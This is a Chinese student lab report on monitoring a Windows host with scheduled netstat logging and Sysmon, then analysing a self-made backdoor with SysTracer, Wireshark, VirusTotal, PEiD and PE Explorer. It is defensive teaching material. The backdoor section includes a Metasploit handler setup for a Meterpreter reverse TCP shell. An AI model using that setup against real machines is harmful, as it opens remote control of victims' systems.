恶意代码分析
一、实践目标
1.监控你自己系统的运行状态,看有没有可疑的程序在运行。
2.分析一个恶意软件,就分析Exp2或Exp3中生成后门软件;分析工具尽量使用原生指令或sysinternals,systracer套件。
3.假定将来工作中你觉得自己的主机有问题,就可以用实验中的这个思路,先整个系统监控看能不能找到可疑对象,再对可疑对象进行进一步分析,好确认其具体的行为与性质。
二、实践内容
2.1系统运行监控
(1)使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述一下分析结果。
目标就是找出所有连网的程序,连了哪里,大约干了什么(不抓包的情况下只能猜),你觉得它这么干合适不。如果想进一步分析的,可以有针对性的抓包。(1分)
(2)安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。(1分)
参考:schtask与sysmon应用指导
实际日志的分析还需要发挥下自己的创造力,结合以前学过的知识如linux的文本处理指令等进行。
分析的难点在于从大量数据中理出规律、找出问题。这都依赖对结果过滤、统计、分类等进一步处理,这就得大家会什么用什么了。
2.1.1使用schtasks指令监控系统
1.使用命令schtasks /create /TN netstat4322 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c:\netstat4322.txt"
"创建任务计划nestat4322。
1 TN 是TaskName的缩写,我创建的计划任务名是netstat4322;2 sc 表示计时方式,我们应按要求每隔一分钟记录一次,所以使用MINUTE;3 TR 是Task Run,要运行的指令是netstat ;4 bn,b表示显示可执行文件名,n表示以数字来显示IP和端口;5 > 表示输出重定向,将输出存放在c:\netstatlog.txt文件中.
此命令完成后,每1分钟就会监测哪些程序在使用网络,并把结果记录在netstatlog.txt文档里,为了显示日期和时间,我们通过bat批处理文件来实现。
2.在桌面上创建一个netstat201843224322.bat文件,然后将其放入C盘根目录下(可以先在桌面新建txt文本文件,使用记事本写入后在修改后缀为.bat,复制到C盘中)。文件内容为:
date /t >> c:\netstatlog.txt
time /t >> c:\netstatlog.txt
netstat -bn >> c:\netstatlog.txt
3. 打开控制面板,选择管理工具,进入任务计划程序,找到我们在第一步建立的netstat4322。
4.点击下方操作-> 右侧所选项栏中属性。
5. 在弹出的窗口中,点击页面上方的操作,然后双击任务进入编辑操作界面。
6.将程序和脚本修改为刚才创建的netstat20184322.bat,添加参数(可选)为空。
7. 点击页面上方的常规,勾选使用最高权限运行。(由于我们要在C盘根目录下常见文件,需要管理员权限)
8. 点击页面上方的条件,取消默认勾选的电源选项,否则我们在不插电的情况下就无法生成netstatlog.txt文件。
9. 此时查看C盘根目录下的netstat20184322.txt文件,发现已经有了时间的记录,至此完成了任务的创建:
2.1.2将数据导入excel
1.导入文本数据:新建excel文件->选择上方“数据”->选择导入数据。
2.选择记录连接情况的文本netstat20184322.txt,点击“导入”。
3.进入文件导入向导第一步,选中“分隔符号”,点击“下一步”。
4.进入文件导入向导第二步,选中全部分隔符号,点击“下一步”。
5.进入文件导入向导第三步,列数据格式选择常规,点击“完成”。
6.发现文件导入成功。
2.1.3用excel分析数据
1.首先查看所有联网程序的联网次数,具体excel操作如下:
①首先选中我们要分析的列;
②其次点击上方“插入”->“数据透视图”;
③默认选择在一个新工作表中生成;
④在右侧“字段列表”中勾选 “周五” ->取消选择那些没有意义的字段,然后点击“确定”;
⑤将该字段拖动到下方的“轴字段”和“数值”两个区域中;
⑥然后就可以看到我们的统计图进行分析了:
由图表看出,联网最多的还是 浏览器(火狐和QQ浏览器),约占总联网数的4/5。
2. 其中还有一个backgroundTaskHost.exe和WpnService,也不明白是什么用途。
但查看表格,发现他们的状态都是,可能是系统自设定的吧。。。
2.1.4使用sysmon工具监控系统
一)设置合理的配置文件
- 确定监控目标:进程创建ProcessCreate、进程创建时间FileCreatTime、网络连接NetworkConnect、远程线程创建CreateRemoteThread。
- 简单了解配置文件。
①进程创建ProcessCreate的过滤事件选项有:
UtcTime, ProcessGuid, ProcessId, Image, CommandLine, CurrentDirectory, User, LogonGuid, LogonId, TerminalSessionId, IntegrityLevel, Hashes, ParentProcessGuid, ParentProcessId, ParentImage, ParentCommandLine
②进程创建时间FileCreatTime的过滤事件选项有:
UtcTime, ProcessGuid, ProcessId, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime
③网络连接NetworkConnect的过滤事件选项有:
UtcTime, ProcessGuid, ProcessId, Image, User, Protocol, Initiated, SourceIsIpv6, SourceIp, SourceHostname, SourcePort, SourcePortName, DestinationIsIpv6, DestinationIp, DestinationHostname, DestinationPort, DestinationPortName
④远程线程创建CreateRemoteThread的过滤事件选项有:
UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction
⑤其他时间过滤器、过滤事件的选项、onmatch选项可取值、condition可设置的值、配置文件样例,可以参考使用轻量级工具Sysmon监视你的系统 - FreeBuf网络安全行业门户
3.写配置文件。我的创建配置文件4322_Sysmoncfig.txt内容如下:(配置文件是xml文件,为了简单编辑就直接命令为.txt,每次用写字本打开。)
<FileCreateTime onmatch="exclude" >
<Image condition="end with">QQBrower.exe</Image>
</FileCreateTime>
<NetworkConnect onmatch="exclude">
<Image condition="end with">QQBrower.exe</Image>
<SourcePort condition="is">137</SourcePort>
<SourceIp condition="is">192.168.61.132</SourceIp>
</NetworkConnect>
<NetworkConnect onmatch="include">
<DestinationPort condition="is">80</DestinationPort>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>
<CreateRemoteThread onmatch="include">
<TargetImage condition="end with">explorer.exe</TargetImage>
<TargetImage condition="end with">svchost.exe</TargetImage>
<TargetImage condition="end with">winlogon.exe</TargetImage>
<SourceImage condition="end with">powershell.exe</SourceImage>
</CreateRemoteThread>
Svchost.exe是微软视窗操作系统里的一个系统进程,管理通过Dll文件启动服务的其它进程,一些病毒木马伪装成系统dll文件通过Svchost调用它,试图隐藏自己。
每个svchost可以同时调用多个dll文件,启动多个服务。
2.2恶意软件分析
分析该软件在
(1)启动回连
(2)安装到目标机
(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)
该后门软件
(1)读取、添加、删除了哪些注册表项
(2)读取、添加、删除了哪些文件
(3)连接了哪些外部IP,传输了什么数据
设置监听端口号(我设成了exp2 生成后门时监听的端口,即我的学号4322)
->安装完成
2.在打开后门前先快照一下,点击“take snapshot”。
耐心等待,完成后显示以下页面:
完成后显示Snapshop #1
3.Kali打开msfconsole,完成相关设置后开始监听,Windows运行后门后,拍摄快照:
`use exploit/multi/handler // 使用监听一种后门
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.100 //kali的IP地址。将要实行监听的主机IP,也就是被监听主机将要连接的IP地址
set LPORT 4322
show options
exploit`
完成后显示Snapshop #2
4. 查看信息。
点击上方“Applications”->左侧“Running Processes”->找到后门进程“43_100.exe”->点击“Opened Ports”查看回连地址、远程地址和端口号:
2.2.1 分析对比Snapshot #1 vs Snapshot #2(回连前后对比)
在快照界面“Snapshots”右下角点击“Compare”,比对一下回连前后计算机发生的变化:
1.读取、添加、删除了以下注册表项
其中注册表项以 增加为主,增加了很多注册表项
2. 读取、添加、删除了以下文件:
文件大都以更新为主,但我发现了一些按理不应该存在的文件:
回连之后,甚至还删除了其他文件夹中的一些链接,可能是同处E盘,在文件目录下会有一些重定向???
3. 更新、删除、修改了以下软件:
在对比页面中,我们可以很清晰的看出软件的更新、删除和增加。
例如,在后门启动后,多出了E:\kali\exp4\43_100.exe和其他的软件,同时也将svchost.exe进行了更新(不止一次)
6.输入screenshot命令抓屏,此时创建第三个快照Snapshot #3
2.2.2分析对比Snapshot #2 vs Snapshot #3(screenshot命令前后对比)
- 读取、添加、删除了哪些注册表项
与Snapshot #2 vs Snapshot #1相比,这次的改动很小,毕竟我只是输入了一个截屏操作。
同时我发现,这些注册表的变化没有局限于和我的后门软件相关的文件夹中,在不同的盘内,也有注册表信息发生了改变,可能这些无时无刻不在发生着变化?? - 读取、添加、删除了以下文件
- 软件的更改几乎没有,有也是一些与实验无关的软件的删除更新。
2.2.3使用wireshark对流量进行抓包分析
连接了哪些外部IP,传输了什么数据(抓包分析)
打开Wireshark,选择WLAN接口开始抓包
kali开始监听,win10执行后门程序43_99.exe进行回连。
在wireshark中输入过滤条件ip.addr ==192.168.43.99,可以看到Wireshark上捕获到大量的TCP传输。
主机和kali也完成了三次握手协议。输入其他命令(pwd),Kali会不断给Windows传一大堆ACK包,有时还伴有PSH+ACK包。(PSH就表示有 DATA数据传输)
其中192.168.43.99 是我kali的IP地址,192.168.43.249是我主机的IP地址
[PSH,ACK]包就是我输入pwd命令后,两者进行数据传输的包
查看下方的信息时,也可以看到它的基本信息:发送方、接收方、存在时间、端口号等
2.2.4使用VirusTotal分析恶意软件
这张图显示了恶意代码43_99.exe的摘要值、PE文件头、生存时间和文件大小。
其中TrID ,是一个软件工具,可以识别基于其二进制特征码文件类型的文件类型定义数据库,保存为一个单独的文件,并可以通过下载定义库的新版本更新。 主定义包被命名为“ TrIDDefs.TRD ”和该应用程序打开时被加载。由用户选择的文件核对,在TrIDDefs.TRD文件中的定义来确定文件类型。
这张图中出现了一个新的软件名字ab.exe.ab.exe是一个性能检测工具,是apache server中的一个小组件,我觉得可能是网站在分析恶意代码时使用了它,所以才出现了这个软件。
2.2.5使用PEiD分析恶意软件
PEiD(PE Identifier)是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470种PE文档的加壳类型和签名。
当文件加壳时:
该软件会显示加壳的信息
当没有壳时:
可以发现,软件加壳前后的EP段发生了改变,没有壳时EP段为.text,即代码段
而加壳后,EP段为UPX1,我觉得可以理解为壳的特征码吧,这很可能就是加壳后,软件的查杀可能性更高的原因了。
2.2.6使用PE Explorer分析恶意软件
可以看出,PE Explore可以显示恶意代码的镜像基址Image Base,文件头大小。
https://img2020.cnblogs.com/blog/1561891/202104/1561891-20210410155357547-1671330116.png
同时该软件调用了三个函数,从而有3个dll文件,其中kernel32.dll属于内核级文件,它控制着系统的内存管理、数据的输入输出操作和中断处理,是每个软件都必需的。
当然,我觉得这些信息可能使用winhex或者STu_PE会更清晰明了。
三、问题
(1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所以想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
答:我想监控的行为有:联网情况;麦克风、摄像头开启情况;网址连接到那些地方了,持续时间有多长;有哪些软件使用的管理员权限。
本次实验的“任务计划”可以用来查看联网情况。wireshark可以进行抓包,查看有哪些连接,以及他们传输了哪些信息。日志可以看看软件的使用情况。
(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
答:PE Exoplorer 和virus total 可以查看它的文件头、调用函数、生存时间、镜像基址和摘要值。
Ollydebug可以调试运行它,看看它会进行哪些操作,以及它存放的地址。
我们也可以使用计算机管理器,查看它的进程号,选择杀死该进程。
我们甚至可以通过它的可选头文件地址使用winhex将其全部置零,避免恶意软件卸载不干净。
(也可以在配置文件中将其列入黑名单“include”,严格记录它的行为)
四、实验总结与体会
本次实验没有太多的命令行操作,大部分时间用来分析每个软件显示的信息是什么意思了。类似于schtask与sysmon监控系统,启动任务计划程序并用excel形成数据透视图,就是新掌握的知识点。实验后半部分的恶意代码分析,与我《恶意代码》课程有着很高的重叠,像是PE Explorer就与我在恶意代码课程上使用的STU_PE 功能类似,甚至还没有STU_PE 显示的信息更多。
总的来说,本次实验重点在于分析,分析恶意代码的操作有哪些,分析它对注册表、文件、App的影响体现在哪里,也分析了恶意代码有哪些特征点,并学习如何监控自己的系统,查看是否有可疑软件运行。我们应该培养自己下载软件时查看摘要值的习惯,以免软件被不法分子篡改,在计算机内部监控着我们的信息。